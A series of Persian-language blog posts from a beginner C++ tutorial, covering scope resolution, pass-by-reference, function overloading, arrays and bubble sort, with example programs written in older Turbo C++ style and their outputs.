Enter a number between 0 and 28: 8

8 found in array element 4


 
comment نظرات ()
 
 
قسمت بیست و نهم
نویسنده : Hossein - ساعت ٤:٤۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

مرتب کردن آرايه ها

مرتب کردن اطلاعات چه به صورت صعودی يا نزولی ، يکی از مهمترين وظايف کامپيوتر می باشد . به عنوان مثال تعيين رتبه دانش آموزان يک مدرسه بر اساس معدل ، تعيين رتبه شرکت کنندگان در کنکور ، مرتب کردن شماره تلفن ها بر اساس نام صاحب تلفن را می توان نام برد . برای آشنايی با شيوه مرتب کردن ، ليست اعداد زير را در نظر بگيريد :

2 , 5 , 4 , 3 , 6 , 1

برای مرتب کردن ليست اعداد فوق از کوچک به بزرگ آنها را در آرايه ای قرار می دهيم :

int a[] = { 2 , 5 , 4 , 3 , 6 , 1};

حال کافی است آرايه a را به صورت صعودی مرتب کنيم . برای انجام اين کار از روشی به نام مرتب کردن حبابی استفاده می کنيم . اين تکنيک به دليل اينکه مقادير کوچکتر همانند حبابی در آب به سمت بالا حرکت می کنند ، مرتب کردن حبابی گفته می شود . برای مرتب کردن آرايه چندين بار بايد روی آرايه حرکت کنيم و در هر بار حرکت عناصر دو به دو با هم مقايسه می شوند ، و در صورتی که به صورت نزولی قرار داشته باشند مقاديرشان جابه جا می گردد و در غير اين صورت به همان ترتيب باقی می مانند .

برنامه زير ليست اعداد ذکر شده را به شيوه مرتب کردن حبابی ، از کوچک به بزرگ مرتب می کند .

#include <iostream.h>

void showArray(const int [] , int);

void main()
{
const int arraySize = 6;
int a[ arraySize ] = { 2, 5, 4, 3, 6 ,1};
int hold;

cout << "Data items in original order\n";

showArray(a,arraySize);

for ( int i = 0; i < arraySize - 1 ; i++ )
for ( int j = 0; j < arraySize - 1; j++ )
if ( a[ j ] > a[ j + 1 ] ) {
hold = a[ j ];
a[ j ] = a[ j + 1 ];
a[ j + 1 ] = hold;
}

cout << "\nData items in ascending order\n";

showArray(a,arraySize);

}

void showArray( const int array[] ,int arraySize)
{
for (int c=0; c<arraySize ;c++)
cout << array[c] << " ";
cout << endl;
}

خروجی برنامه فوق به صورت زير می باشد :

Data items in original order
2 5 4 3 6 1

Data items in ascending order
1 2 3 4 5 6

در برنامه فوق تابع showArray وظيفه نمايش عناصر آرايه را به عهده دارد .


 
comment نظرات ()
 
 
قسمت بیست و هشتم
نویسنده : Hossein - ساعت ٤:۳٩ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ارسال آرايه ها به توابع

برای ارسال يک آرايه به عنوان آرگومان به يک تابع ، کافيست نام آرايه را بدون علامت براکت ([]) به کار ببريد . به عنوان مثال اگر آرايه ای با نام x به صورت زير تعريف شده باشد :

int x[24];

برای ارسال آن به تابع modifyArray کافيست تابع را به صورت زير:

modifyArray(x,24);

فراخوانی کنيد . دستور فوق آرايه و طول آن را به تابع modifyArray  ارسال می کند . معمولاً هنگامی که آرايه ای را به تابعی ارسال می کنند ، طول آرايه را نيز همراه آرايه به عنوان يک آرگومان جداگانه به تابع می فرستند.

++C آرايه ها را با شيوه شبيه سازی شده ارسال آرگومان ها با ارجاع به تابع ارسال می نمايد ، لذا تابع فراخوانی شده مقدار عناصر آرايه ارسالی را می تواند تغيير دهد . هنگامی که نام تابع را به عنوان آرگومان تابع به کار می بريم ، آدرس خانه حافظه اولين عنصر آرايه به تابع ارسال می شود لذا تابع می داند که عناصر آرايه در کجای حافظه قرار گرفته اند . بنابراين هنگامی که تابع فراخوانی شده عناصر آرايه را تغيير می دهد ، اين تغييرات روی عناصر آرايه اصلی که به تابع ارسال شده است ، انجام می پذيرد .

نکته : توجه داشته باشيد که عناصر آرايه را به صورت جداگانه همانند ارسال متغيرها و يا مقادير عددی به تابع ارسال کرد . در اين صورت تغيير بر روی آرگومان ارسالی ، تأثيری بر روی عنصر آرايه نخواهد داشت . در حقيقت اين شيوه ، همان ارسال با مقدار می باشد .

برای اينکه تابعی قادر به دريافت يک آرايه به عنوان ورودی باشد ، هنگام تعريف تابع در ليست آرگومانهای آن ، اين مطلب بايد مشخص گردد . به عنوان مثال تعريف تابع modifyArray را به صورت زير می توان نوشت :

void modifyArray (int b[] ,int array size)

دستور فوق مشخص می کند که تابع modifyArray قادر به دريافت آدرس آرايه ای از اعداد صحيح توسط آرگومان b و تعداد عناصر آرايه توسط آرگومان arraySize می باشد . ضمناً تعداد عناصر آرايه را لازم نيست بين براکت ها ([]) بنويسيد ، اگر اين کار نيز صورت پذيرد ، کامپايلر آن را ناديده می گيرد . توجه داشته باشيد که پيش تعريف تابع فوق را به صورت زير بنويسيد :

void modifyArray (int [] , int);

برنامه زير نحوه ارسال يک آرايه را به تابع و تفاوت ارسال يک عنصر آرايه به تابع و ارسال کل آرايه به تابع را نشان می دهد .

#include <iostream.h>

void modifyArray( int [], int );
void modifyElement( int );

void main()
{
const int arraySize = 5;
int a[ arraySize ] = { 0, 1, 2, 3, 4 };

cout<<"Effects of passing entire array by reference:"
<<"\n\nThe values of the original array are:\n";

// output original array
for ( int i = 0; i < arraySize; i++ )
cout << "\t"<< a[ i ];

cout << endl;

// pass array a to modifyArray by reference
modifyArray( a, arraySize );

cout << "The values of the modified array are:\n";

// output modified array
for ( int j = 0; j < arraySize; j++ )
cout << "\t" << a[ j ];

// output value of a[ 3 ]
cout<<"\n\n\n"
<<"Effects of passing array element by value:"
<<"\n\nThe value of a[3] is " << a[ 3 ] << '\n';

// pass array element a[ 3 ] by value
modifyElement( a[ 3 ] );

// output value of a[ 3 ]
cout << "The value of a[3] is " << a[ 3 ] << endl;

}

// in function modifyArray, "b" points to
// the original array "a" in memory
void modifyArray( int b[], int sizeOfArray )
{
// multiply each array element by 2
for ( int k = 0; k < sizeOfArray; k++ )
b[ k ] *= 2;
}

// in function modifyElement, "e" is a local copy of
// array element a[ 3 ] passed from main
void modifyElement( int e )
{
// multiply parameter by 2
cout << "Value in modifyElement is "
<< ( e *= 2 ) << endl;
}

خروجی برنامه فوق به صورت زير می باشد :

Effects of passing entire array by reference:

The values of the original array are:
0 1 2 3 4
The values of the modified array are:
0 2 4 6 8


Effects of passing array element by value:

The value of a[3] is 6
Value in modifyElement is 12
The value of a[3] is 6

در برنامه فوق ، تابع modifyArray مقدار عناصر آرايه a را که به آن فرستاده شده است دو برابر می کند . تابع modifyElement مقدار آرگومان دريافتی را دو برابر کرده و در خروجی چاپ می کند ولی تأثيری در نسخه اصلی عنصر آرايه نداشته و تغييری در مقدار آن ايجاد نمی کند .

بعضی مواقع ممکن است بخواهيد که تابعی ، اجازه تغيير عناصر آرايه ای که به آن فرستاده شده است را نداشته باشد . برای اين کار هنگام تعريف تابع کافی است از کلمه const قبل از آرگومان مربوط به آن آرايه استفاده کنيد ، در چنين حالتی اگر داخل تابع قصد تغيير مقدار عناصر آرايه را داشته باشيد با يک پيغام خطای کامپايلر مواجه می شويد و کامپايلر اجازه اين کار را به شما نمی دهد . به برنامه زير توجه کنيد :

#include <iostream.h>

void tryToModifyArray( const int [] );

void main()
{
int a[] = { 10, 20, 30 };

tryToModifyArray( a );

cout << a[0] <<' '<< a[1] <<' '<< a[2] <<'\n';

}

// In function tryToModifyArray, "b" cannot be used
// to modify the original array "a" in main.
void tryToModifyArray( const int b[] )
{
b[ 0 ] /= 2; // error
b[ 1 ] /= 2; // error
b[ 2 ] /= 2; // error
}


هنگام کامپايل کردن برنامه فوق با پيغام های خطای زير مواجه خواهيد شد ، چون در تابع قصد تغيير عناصر آرايه ای را که به صورت ثابت به تابع ارسال شده بود ، داشتيم .

Error in line 19: Cannot modify a const object
Error in line 20: Cannot modify a const object
Error in line 21: Cannot modify a const object

 
comment نظرات ()
 
 
قسمت بیست و هفتم
نویسنده : Hossein - ساعت ٤:۳٤ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

چند مثال از آرايه ها و کاربرد آنها

مثال : برنامه ای بنويسيد که 10 عدد صحيح را ورودی دريافت کرده و در آرايه ای قرار داده سپس مجموع عناصر آرايه را محاسبه کرده و درخروجی چاپ نمايد .

#include <iostream.h>

void main()
{
const int arraySize = 10;
int total = 0,i;
int a[ arraySize ];

for (i = 0; i < arraySize; i++)
{
cout << "Enter number " << i << " : ";
cin >> a[ i ];
}

for (i = 0; i < arraySize; i++ )
total += a[ i ];

cout << "Total of array element values is "
<< total << endl;

}

خروجی برنامه به صورت زير می باشد :

Enter number 0 : 12
Enter number 1 : 3
Enter number 2 : 4
Enter number 3 : 654
Enter number 4 : 34
Enter number 5 : 2
Enter number 6 : 123
Enter number 7 : 794
Enter number 8 : 365
Enter number 9 : 23
Total of array element values is 2014

مثال : برنامه ای بنويسيد که توسط آرايه ، نمودار ميله ای افقی برای اعداد {1 و17 و5 و13 و9 و11 و7 و15 و3 و19 } رسم کند .

#include <iostream.h>

int main()
{
const int arraySize = 10;
int n[ arraySize ] = { 19, 3, 15, 7, 11,
9, 13, 5, 17, 1 };

cout << "Element" << " Value" << endl;

for ( int i = 0; i < arraySize; i++ ) {
cout << i << "\t " << n[ i ] << "\t";

for ( int j = 0; j < n[ i ]; j++ )
cout << '*';
cout << endl;
}

return 0;

}

خروجی برنامه به صورت زير می باشد :

 
Element Value
0 19 *******************
1 3 ***
2 15 ***************
3 7 *******
4 11 ***********
5 9 *********
6 13 *************
7 5 *****
8 17 *****************
9 1

مثال : برنامه ای بنويسيد که يک تاس را 6000 بار پرتاب کرده و توسط آرايه ای تعداد دفعات آمدن هر وجه را حساب کند .( تعداد دفعات آمدن هر وجه را يک عنصر آرايه ای در نظر بگيريد )

#include <iostream.h>
#include <stdlib.h>
#include <time.h>

void main()
{
const int arraySize = 7;
int frequency[ arraySize ] = { 0 };

srand( time( 0 ) );

for ( int roll = 1; roll <= 6000; roll++ )
++frequency[ 1 + rand() % 6 ];

cout << "Face Frequency" << endl;

for ( int face = 1; face < arraySize; face++ )
cout << face << "\t" << frequency[face] << endl;

}

خروجی برنامه به صورت زير می باشد :

 
Face Frequency
1 1023
2 990
3 1008
4 971
5 1025
6 983

دستور ++frequency [rand()%6 + 1]; ، مقدار عنصر مربوط به هر وجه را يک واحد اضافه می کند ، زيرا rand()%6 + 1 عددی بين 1 تا 6 توليد می کند ، پس هر بار به طور تصادفی تنها مقدار عنصر مربوط به يکی از وجوه افزايش می يابد .

يکی از کار برد های آرايه ها ، استفاده از آنها برای ذخيره رشته ای از حروف می باشد . تا به حال متغيرهايی که از ورودی دريافت می کرديم و يا آرايه هايی که تا به اينجا ديديد تنها شامل اعداد می شدند در اينجا به عنوان مثال نحوه دريافت يک نام از ورودی و چاپ آن در خروجی را بررسی می کنيم .(در فصل بعد يعنی اشاره گرها و رشته ها ، به طور مفصل تر راجع به رشته ها صحبت خواهيم کرد )

يک عبارت رشته ای مانند: "hello" در واقع آرايه ای از حروف می باشد.

char string1[]="hello";

دستور فوق آرايه ای به نام string1 را با کلمه hello مقدار دهی می کند. طول آرايه فوق برابر است با طول کلمه hello يعنی 5 بعلاوه يک واحد که مربوط است به کاراکتر پوچ که انتهای رشته را مشخص می کند. لذا آرايه string1 دارای طول 6 می باشد. کاراکتر پوچ در زبان ++C توسط '\0' مشخص می گردد. انتهای کليه عبارات رشته ای با اين کاراکتر مشخص می شود.

char string1[]={'h','e','l','l','o','\0'}

دستور فوق عناصر آرايه string1 را جداگانه مقدار دهی می کند. توجه داشته باشيد که عناصر آرايه در دستور فوق داخل (') قرار گرفتند و نيز انتهای رشته با '\0' تعيين شد. نتيجه همانند دستور char string1[]="hello"; می باشد.

چون عبارت رشته ای، آرايه ای از حروف می باشند، لذا به هر يک از حروف رشته، توسط انديس عنصری که شامل آن حرف می باشد، می توان دسترسی پيدا کرد. به عنوان مثال string1[0] شامل 'h' و string1[3] شامل 'l' و string1[5] شامل '\0' می باشد.

توسط دستور cin نيز می توان به طور مستقيم کلمه وارد شده از صفحه کليد را در آرايه ای رشته ای قار داد.

char string2[20];

دستور فوق يک آرايه رشته ای که قابليت دريافت کلمه ای با طول 19 به همراه کاراکتر پوچ را دارا می باشد.

cin >> string2;

دستور فوق رشته ای از حروف را از صفحه کليد خوانده و در string2 قرار می دهدو کاراکتر پوچ را به انتهای رشته وارد شده توسط کاربر اضافه می کند. به طور پيش فرض دستور cin کاراکتر ها را از صفحه کليد تا رسيدن به اولين فضای خالی در يافت می کند. به عنوان مثال اگر هنگام اجرای دستور cin >> string2; کاربر عبارت "hello there" را وارد کند، تنها کلمه hello در string2 قرار می گيرد. چون عبارت وارد شده شامل کاراکتر فاصله است. برنامه زير نحوه به کار گيری آرايه های رشته ای را نشان می دهد.

#include <iostream.h>

void main()
{
char name[ 20 ];

cout << "Please Enter your name : ";
cin >> name;

cout << "Welcome, " << name
<< " to this program. \n" ;

cout << "Your separated name is\n";

for ( int i = 0; name[ i ] != '\0'; i++ )
cout << name[ i ] << ' ';

}

خروجی برنامه به صورت زير می باشد :

 
Please Enter your name : Mohammad
Welcome, Mohammad to this program.
Your separated name is
M o h a m m a d

در برنامه فوق حلقه for ، حروف نام وارد شده توسط کاربر را جدا جدا در خروجی چاپ می کند. ضمنا شرط حلقه name[ i ] != '\0' می باشد و تا وقتی اين شرط برقرار است که حلقه به انتهای رشته نرسيده باشد.

در مبحث قوانين حوزه ديديد که اگر بخواهيم يک متغير محلی تابع، مقدار خود را حفظ کرده و برای دفعات بعدی فراخوانی تابع نيز نگه دارد، از کلمه static استفاده کرديم. نوع static را برای آرايه ها نيز می توان به کار برد و از همان قوانين گفته شده در مبحث مذکور پيروی می کند. به برنامه زير و خروجی آن توجه کنيد.

#include <iostream.h>

void staticArrayInit( void );
void automaticArrayInit( void );

int main()
{
cout << "First call to each function:\n";
staticArrayInit();
automaticArrayInit();

cout << "\n\nSecond call to each function:\n";

staticArrayInit();
automaticArrayInit();
cout << endl;

return 0;

}

// function to demonstrate a static local array
void staticArrayInit( void )
{
// initializes elements to 0
// first time function is called
static int array1[ 3 ]={0};

cout << "\nValues on entering staticArrayInit:\n";

// output contents of array1
for ( int i = 0; i < 3; i++ )
cout << "array1[" << i << "] = "
<< array1[ i ] << " ";

cout << "\nValues on exiting staticArrayInit:\n";

// modify and output contents of array1
for ( int j = 0; j < 3; j++ )
cout << "array1[" << j << "] = "
<< ( array1[ j ] += 5 ) << " ";

} // end function staticArrayInit

// function to demonstrate an automatic local array
void automaticArrayInit( void )
{
// initializes elements each time function is called
int array2[ 3 ] = { 1, 2, 3 };

cout << endl << endl;
cout << "Values on entering automaticArrayInit:\n";

// output contents of array2
for ( int i = 0; i < 3; i++ )
cout << "array2[" << i << "] = "
<< array2[ i ] << " ";

cout << "\nValues on exiting automaticArrayInit:\n";

// modify and output contents of array2
for ( int j = 0; j < 3; j++ )
cout << "array2[" << j << "] = "
<< ( array2[ j ] += 5 ) << " ";

}

خروجی برنامه به صورت زير می باشد :

 
First call to each function:

Values on entering staticArrayInit:
array1[0] = 0 array1[1] = 0 array1[2] = 0
Values on exiting staticArrayInit:
array1[0] = 5 array1[1] = 5 array1[2] = 5

Values on entering automaticArrayInit:
array2[0] = 1 array2[1] = 2 array2[2] = 3
Values on exiting automaticArrayInit:
array2[0] = 6 array2[1] = 7 array2[2] = 8

Second call to each function:

Values on entering staticArrayInit:
array1[0] = 5 array1[1] = 5 array1[2] = 5
Values on exiting staticArrayInit:
array1[0] = 10 array1[1] = 10 array1[2] = 10

Values on entering automaticArrayInit:
array2[0] = 1 array2[1] = 2 array2[2] = 3
Values on exiting automaticArrayInit:
array2[0] = 6 array2[1] = 7 array2[2] = 8

در برنامه فوق عناصر آرايه array1 در اولين بار فراخوانی تابع staticArrayInit مقدار صفر را می گيرند ولی در دفعات بعدی فراخوانی اين تابع، آخرين مقدار قبلی خود را حفظ می کنند . اما آرايه array2 در هر بار فراخوانی تابع automaticArrayInit مقدار دهی اوليه می شود و با خروج از تابع مقدار خود را از دست می دهد.


 
comment نظرات ()
 
 
قسمت بیست و ششم
نویسنده : Hossein - ساعت ۱:۱۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اعلان آرايه ها

يک آرايه مجموعه ای از خانه ها متوالی حافظه می باشد که دارای يک نام و يک نوع می باشند . به هر يک از اين خانه ها يک عنصر آرايه گفته می شود . برای دستيابی به يک عنصر آرايه ، بايد نام آرايه و شمارنده آن خانه را مشخص کنيم . لذا عناصر آرايه توسط متغيری به نام انديس مشخص می شوند به همين دليل، آرايه ها را متغيرهای انديس دار نيز می گويند . نام آرايه ، از قواعد نام گذاری متغيرها پيروی می کند . نوع آرايه نيز يکی از انواع داده ذکر شده در مبحث مفاهيم حافظه و انواع داده ای می باشد . اعلان آرايه ها به صورت زير است :

 طول آرايه] نام آرايه   نوع داده آرايه];

به عنوان مثال دستور زير آرايه ای به طول 6 ، با نام num را از نوع int ايجاد می کند .

int num [6];

توجه داشته باشيد که تمام عناصر دارای نام يکسانی می باشند و تنها با انديس از هم تفکيک می شوند . به عنوان مثال عنصر با انديس 2 دارای مقدار 23560- می باشد ، ضمناً انديس عناصر از 0 شروع می شود .

استفاده از يک عبارت محاسباتی به جای انديس عناصر امکان پذير می باشد ، به عنوان مثال با فرض اينکه متغير a حاوی 2 و متغير b حاوی 3 باشد ، دستور زير:

num [a+b] + = 3;

سه واحد به عنصر num [5] اضافه خواهد کرد و اين عنصر حاوی عدد 3 می گردد . برای چاپ مجموع سه عنصر اول آرايه می توانيد از دستور زير استفاده کنيد :

cout << num[0] + num[1] + num[2] << endl;

برای تقسيم عنصر چهارم آرايه بر 2 و قرار دادن حاصل در متغير x از دستور زير می توانيد استفاده کنيد :

x = num[3]/2;

نکته : توجه داشته باشيد که عنصر چهارم آرايه با عنصر شماره چهار ( با انديس چهار ) متفاوت می باشد . همانطور که در دستور فوق ديديد عنصر شماره چهار دارای انديس سه می باشد ، دليل اين امر اينست که انديس گذاری از صفر شروع می شود . در آرايه فوق عنصر چهارم آرايه num[3]=-50 می باشد ولی عنصر شماره چهار ( با انديس چهار ) num[4]=32500 می باشد .

همانند متغيرها چند آرايه را نيز می توان توسط يک دستور تعريف کرد :

int b[100] , x[27] ;

دستور فوق 100 خانه از نوع عدد صحيح را برای آرايه با نام b و 27 خانه از نوع عدد صحيح را برای آرايه با نام x در نظر می گيرد .

برای مقدار دهی اوليه به هر يک از عناصر آرايه می توانيد از شيوه زير استفاده کنيد :

int n[5] = {32 , 27 , 64 , 18 , 95 }

اگر طول آرايه هنگام تعريف آرايه تعيين نشده باشد و ليست مقدار عناصر نوشته شود ، همانند دستور زير :

int n[] = { 1 , 2 , 3 , 4 , 5 }

در اين صورت کامپايلر به تعداد عناصر ليست ، خانه حافظه برای آرايه در نظر می گيرد ، مثلاً در دستور فوق 5 خانه حافظه برای آرايه n در نظر گرفته می شود .

راه ديگری که برای مقدار دهی اوليه به عناصر آرايه وجود دارد استفاده از روش زير است :

int num[10] = {0}

دستور فوق 10 خانه حافظه برای آرايه num در نظر می گيرد و مقادير همه آنها را صفر می کند . توجه داشته باشيد که اگر از دستور زير استفاده کنيم :

int num[10] = {1}

تمامی عناصر مقدار 1 را نمی گيرند بلکه عنصر اول آرايه يک می شود و بقيه عناصر مقدار صفر را می گيرند .

در تعريف آرايه ديديد که طول آرايه را با عدد صحيح ثابتی تعيين می کنيم . هر جا که از عدد ثابتی استفاده می شود ، متغير ثابت نيز می توان به کار برد . متغيرهای ثابت به صورت زير تعريف می شوند :

const   مقدار متغير = نام متغير ثابت     نوع داده متغير ;

به عنوان مثال :

const  int  arraySize = 10;

دستور فوق عدد 10 را به متغير arraySize ثابت انتساب می دهد . توجه داشته باشيد که مقدار يک متغير ثابت را در طول برنامه نمی توان تغيير داد و نيز متغير ثابت در هنگام تعريف شدن ، مقدار اوليه اش نيز بايد تعيين گردد . به متغيرهای ثابت ، متغيرهای فقط خواندنی نيز گفته می شود . کلمه "متغير ثابت" يک کلمه مرکب ضد و نقيض می باشد چون کلمه متغير متضاد ثابت می باشد و اين اصطلاحی است که برای اينگونه متغيرهای در اکثر زبانهای برنامه نويسی به کار می رود . برنامه زير نحوه تعريف يک متغير ثابت را نشان می دهد :

#include <iostream.h>

void main()
{
const int x = 7;

cout << "The value of constant variable x is: "
<< x << endl;

}

برنامه فوق عدد 7 را در متغير ثابت x قرار می دهد و توسط دستور cout آنرا چاپ می کند . همانطور که گفتيم مقدار متغير ثابت در هنگام تعريف بايد تعيين گردد و نيز ثابت قابل تغيير نمی باشد ، به برنامه زير توجه کنيد .

#include <iostream.h>

void main()
{
const int x;

x=7;
}

برنامه فوق هنگام کامپايل شدن دو پيغام خطا خواهد داد ، چون متغير ثابت هنگام تعريف مقدار دهی نشده و نيز در برنامه دستوری برای تغيير مقدار آن آورده نشده است .

 Compiling C:\TCP\BIN\CONST1.CPP:
Error : Constant variable 'x' must be initialized
Error : Cannot modify a const object

مثال : در برنامه زير طول آرايه توسط متغير ثابتی تعيين می گردد و عناصر آرايه توسط حلقه for مقدار دهی شده و سپس توسط حلقه for ديگری ، مقدار عناصر آرايه چاپ می گردد .

#include <iostream.h>

void main()
{
const int arraySize = 10;

int s[ arraySize ];

for ( int i = 0; i < arraySize; i++ )
s[ i ] = 2 + 2 * i;

cout << "Element Value" << endl;

for ( int j = 0; j < arraySize; j++ )
cout << j << "\t " << s[ j ] << endl;

}

خروجی برنامه فوق به صورت زير می باشد :

Element  Value
0 2
1 4
2 6
3 8
4 10
5 12
6 14
7 16
8 18
9 20





 
comment نظرات ()
 
 
قسمت بیست و پنجم
نویسنده : Hossein - ساعت ۱:٠٦ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

گرانبار کردن توابع (استفاده از يک نام برای چند تابع)

++C استفاده از يک نام را برای چند تابع ، هنگامی که توابع از نظر نوع آرگومان ها ، تعداد آرگومان ها يا ترتيب قرار گرفتن نوع آرگومان ها با هم متفاوت باشند را امکان پذير کرده است اين قابليت ، گرانبار کردن توابع ناميده می شود . هنگامی که يک تابع گرانبار شده فراخوانی می شود کامپايلر با مقايسه نوع ، تعداد و ترتيب آرگومان ها تابع درست را انتخاب می کند . معمولاً از توابع گرانبار شده برای ايجاد چند تابع با نامهای يکسان که کار يکسانی را بر روی انواع داده ای متفاوتی انجام می دهند استفاده می شود . به عنوان مثال اکثر توابع رياضی زبان ++C برای انواع داده ای متفاوت گرانبار شده اند . گرانبار کردن توابعی که کار يکسانی را انجام می دهند برنامه را قابل فهم تر و خواناتر می سازد . برنامه زير نحوه به کار گيری توابع گرانبار شده را نشان می دهد .

#include <iostream.h>

int square( int );
double square( double );

void main()
{
// calls int version
int intResult = square( 7 );
// calls double version
double doubleResult = square( 7.5 );

cout << "\nThe square of integer 7 is "
<< intResult
<< "\nThe square of double 7.5 is "
<< doubleResult
<< endl;

} // end main

// function square for int values
int square( int x )
{
cout <<"Called square with int argument: "
<< x << endl;
return x * x;
} // end int version of function square

// function square for double values
double square( double y )
{
cout <<"Called square with double argument: "
<< y << endl;
return y * y;
} // end double version of function square


خروجی برنامه به صورت زير می باشد .

Called square with int argument: 7
Called square with double argument: 7.5

The square of integer 7 is 49
The square of double 7.5 is 56.25

برنامه فوق برای محاسبه مربع يک عدد صحيح (int) و يک عدد اعشاری (double) از تابع گرانبارشده square استفاده می کند .هنگامی که دستور:

int intResult = square (7) ;

اجرا می گردد تابع square با پيش تعريف :

int square (int) ;

فراخوانی می شود و هنگامی که دستور :

double doubleResult = square (7.5) ;

اجرا می گردد تابع square با پيش تعريف :

double square (double );

فراخوانی می شود .

نکته : توجه داشته باشيد که توابع گرانبار شده الزامی ندارند که وظيفه يکسانی را انجام دهند . و ممکن است کاملاً با هم تفاوت داشته باشند ، ولی توصيه می شود که توابعی را گرانبار کنيد که يک کار را انجام می دهند .


 
comment نظرات ()
 
 
قسمت بیست و چهارم
نویسنده : Hossein - ساعت ۱:٠۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ارسال آرگومان ها به تابع ، با ارجاع

تا به حال ، در تمام توابعی که نوشتيم آرگومان ها با مقدار به توابع فرستاده می شدند . اين بدان معناست که هنگامی که توابع با آرگومانها فرا خوانی می شدند ، چيزی که ما به عنوان ورودی تابع ارسال می کرديم مقدار يا عدد بود و هرگز خود متغير به تابع فرستاده نشد ، به عنوان مثال تابع maximum در مبحث تعريف توابع را به صورت زير فراخوانی می کنيم :

int a=5, b=6, c=7, max;
max = maximum(a,b,c);

کاری که در اينجا صورت می گيرد فراخوانی تابع و فرستادن مقادير موجود در a وb وc يعنی 5 و 6 و 7 به تابع می باشد . و خود متغيرها فرستاده نمی شوند .


بدين صورت هنگامی که تابع maximum فراخوانی می شود ، مقدار متغيرهای x وy وz به ترتيب برابر 5 و 6 و 7خواهند شد و هرگونه تغييری روی متغيرهای x وy وz  در تابع ، تأثيری روی متغيرهای a وb وc نخواهد داشت . زيرا خود متغيرهای a وb وc به تابع فرستاده نشده اند بلکه  مقادير موجود در آنها به تابع  ارسال گشته اند .

در برنامه نويسی مواردی پيش می آيد که بخواهيد از داخل تابع ، مقادير متغيرهای خارجی را تغيير دهيم ، به عنوان مثال در تابع maximum مقدار متغير a را از داخل تابع تغيير دهيم . برای نيل به اين هدف بايد از روش ارسال آرگومان ها با ارجاع استفاده کنيم . برای آنکه آرگومان تابعی با ارجاع فرستاده شود ، کافی است در پيش تعريف تابع بعد از تعيين نوع آرگومان يک علامت (&) بگذاريم و نيز در تعريف تابع قبل از نام آرگومان يک علامت (&) قرار دهيم . برای آشنايی با نحوه ارسال آرگومان ها با ارجاع به برنامه زير توجه کنيد .

#include <iostream.h>

void duplicate (int & , int & );

void main ( )
{
int a=1 , b=2 ;
cout << "a = " << a << " and b = " << b << endl;
duplicate (a,b);
cout << "a = " << a << " and b = " << b << endl;
}

void duplicate (int &x , int &y)
{
x*=2;
y*=2;
}

خروجی برنامه به صورت زير می باشد .

a = 1 and b = 2
a = 2 and b = 4

در برنامه فوق متغيرهای a وb به تابع ارسال می گردند و سپس در دو ضرب می شوند. در اين برنامه مقدار متغيرهای a وb فرستاده نمی شود بلکه خود متغير فرستاده می شود و لذا هنگامی که دستورهای

x*=2;
y*=2;

اجرا می گردند مقادير دو متغيرa وb دو برابر می شود . در حقيقت x وy مانند نام مستعاری برای  a وb می باشند .


هنگامی که متغيری با ارجاع فرستاده می شود هر گونه تغييری که در متغير معادل آن در تابع صورت گيرد عيناً آن تغيير بر روی متغير ارسالی نيز اعمال می گردد .

مثال : تابعی بنويسيد که دو متغير را به عنوان ورودی دريافت کرده و مقادير آنها را جابه جا کند . از اين تابع در برنامه ای استفاده کنيد .

#include <iostream.h>
void change (int & , int &);
int main ( )
{
int a=1 , b=2 ;
cout << "a is " << a << " and b is " << b << endl;
change (a,b);
cout << "a is " << a << " and b is " << b << endl;
return 0;
}
void change (int &x , int &y)
{
int temp;
temp = y;
y = x;
x = temp;
}

خروجی برنامه به صورت زير است :

a is 1 and b is 2
a is 2 and b is 1

برنامه فوق مقادير دو متغير a وb را توسط change با شيوه ارسال آرگومان با ارجاع جابه جا می کند .

يکی ديگر از کاربردهای ارسال با ارجاع ، دريافت بيش از يک خروجی از تابع می باشد ، به عنوان مثال تابع prevnext در برنامه زير مقادير صحيح قبل و بعد از اولين آرگومان را به عنوان خروجی بر می گرداند .

#include <iostream.h>

void prevnext (int ,int & , int &);

void main ( )
{
int x = 100 , y , z ;
cout << "The input of prevnext function is "
<< x << endl;
prevnext (x,y,z) ;
cout << "previous =" << y <<",Next =" << z;
}

void prevnext (int input , int & prev , int & next)
{
prev = input - 1 ;
next = input + 1 ;
}

خروجی برنامه فوق به صورت زير می باشد .

The input of prevnext function is 100
previous =99,Next =101

همانطور که مشاهده می کنيد آرگومان input مقدار داده موجود در متغير x را دريافت می کند ولی آرگومان های prev وnext خود متغيرهای y وz را دريافت می کنند . لذا تغييرات روی متغيرprev وnext  بر روی y وz انجام می گيرد و توسط تابع مقدار دهی می شوند


 
comment نظرات ()
 
 
قسمت بیست و سوم
نویسنده : Hossein - ساعت ۱٢:٥۸ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

عملگر يگانی تفکيک حوزه

همانطور که در مبحث قوانين حوزه ديديد تعريف متغيرهای محلی و عمومی با يک نام در برنامه امکان پذير می باشد . زبان ++C عملگر يگانی تفکيک دامنه (::) را برای امکان دستيابی به متغير عمومی همنام با متغير محلی ، در اختيار ما قرار داده است . توجه داشته باشيد که اين عملگر تنها قادر به دستيابی به متغير عمومی در حوزه فايل می باشد . ضمناً متغير عمومی بدون نياز به اين عملگر نيز قابل دستيابی می باشد ؛ به شرط آنکه متغيرمحلی همنام با متغير عمومی ، در برنامه به کار برده نشود . استفاده از عملگر (::) همراه نام متغير عمومی ، در صورتی که نام متغير عمومی برای متغير ديگری به کار برده نشده باشد ، اختياری است . اما توصيه می شود که برای اينکه بدانيد از متغير عمومی استفاده می کنيد از اين عملگر همواره در کنار نام متغير عمومی استفاده کنيد . برنامه زير نحوه کاربرد عملگر (::) را نشان می دهد .

#include <iostream.h>

float pi=3.14159;

void main( )
{
int pi=::pi;
cout << "Local pi is : " << pi << endl;
cout << "Global pi is : " << ::pi << endl;
}

خروجی برنامه به صورت زير می باشد :

Local pi is : 3
Global pi is : 3.14159

